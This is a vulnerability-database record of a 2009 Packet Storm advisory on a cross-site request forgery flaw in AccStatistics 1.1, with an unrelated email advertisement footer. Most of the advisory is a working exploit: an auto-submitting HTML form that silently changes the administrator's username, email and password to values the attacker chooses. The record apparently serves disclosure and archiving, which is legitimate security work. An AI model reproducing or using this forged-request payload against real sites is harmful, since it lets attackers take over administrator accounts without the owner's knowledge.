{"id": "PACKETSTORM:83775", "type": "packetstorm", "bulletinFamily": "exploit", "title": "AccStatistics 1.1 Cross Site Request Forgery", "description": "", "published": "2009-12-14T00:00:00", "modified": "2009-12-14T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/83775/AccStatistics-1.1-Cross-Site-Request-Forgery.html", "reporter": "Milos Zivanovic", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:25:05", "viewCount": 1, "enchantments": {"score": {"value": 0.8, "vector": "NONE", "modified": "2016-11-03T10:25:05", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:25:05", "rev": 2}, "vulnersScore": 0.8}, "sourceHref": "https://packetstormsecurity.com/files/download/83775/accstatistics-xsrf.txt", "sourceData": "` \n[-------------------------------------------------------------------------------------------------] \n[ Title: AccStatistics v1.1 XSRF Vulnerability (Change Admin Settings) ] \n[ Author: Milos Zivanovic ] \n[ Date: 13. December 2009. ] \n[-------------------------------------------------------------------------------------------------] \n \n[-------------------------------------------------------------------------------------------------] \n[ Application: AccStatistics ] \n[ Version: v1.1 ] \n[ Download: http://www.accstatistics.com/download/accstatistics.zip ] \n[ Vulnerability: Cross Site Request Forgery ] \n[-------------------------------------------------------------------------------------------------] \n \nI've tested this on demo version where name attribute of submit button is 'preview'. I doubt that's \nthe name in the real thing. I don't know what is the name tag of it but it's usually 'submit' or \n'save' (could be something other). \n \nWith this exploit we can change allot of stuff, but some of the most critical would be: \nusername, email, password... \n \n[EXPLOIT------------------------------------------------------------------------------------------] \n<form action=\"http://localhost/accstatistics/demo/index.php\" method=\"POST\"> \n<input type=\"hidden\" name=\"p\" value=\"edit1\"> \n<input type=\"hidden\" name=\"id\" value=\"1\"> \n<input type=\"hidden\" id=\"input_username\" name=\"input_username\" value=\"admin\"> \n<input type=\"hidden\" id=\"input_email\" name=\"input_email\" value=\"my@email.com\"> \n<input type=\"password\" id=\"input_password\" name=\"input_password\" value=\"hacked\"> \n<input type=\"password\" id=\"input_password1\" name=\"input_password1\" value=\"hacked\"> \n<input type=\"hidden\" id=\"input_sitename\" name=\"input_sitename\" value=\"AccStatistics\"> \n<input type=\"hidden\" id=\"input_ignoredomains\" name=\"input_ignoredomains\" value=\"\"> \n<input type=\"hidden\" id=\"input_ignoremyvisits\" name=\"input_ignoremyvisits\" value=\"1\"> \n<input type=\"hidden\" id=\"input_ignoresubdomenins\" name=\"input_ignoresubdomenins\" value=\"1\"> \n<input type=\"hidden\" id=\"input_rowsperpage\" name=\"input_rowsperpage\" value=\"30\"> \n<input type=\"checkbox\" id=\"input_reset\" name=\"input_reset\" value=\"1\"> \n<input type=\"submit\" name=\"preview\" value=\"Save\"> \n</form> \n<script>document.forms[0].submit.click();</script> \n[EXPLOIT------------------------------------------------------------------------------------------] \n \n[----------------------------------------------EOF------------------------------------------------] \n \n_________________________________________________________________ \nKeep your friends updated\u0097even when you\u0092re not signed in. \nhttp://www.microsoft.com/middleeast/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:en-xm:SI_SB_5:092010`\n", "immutableFields": []}

{}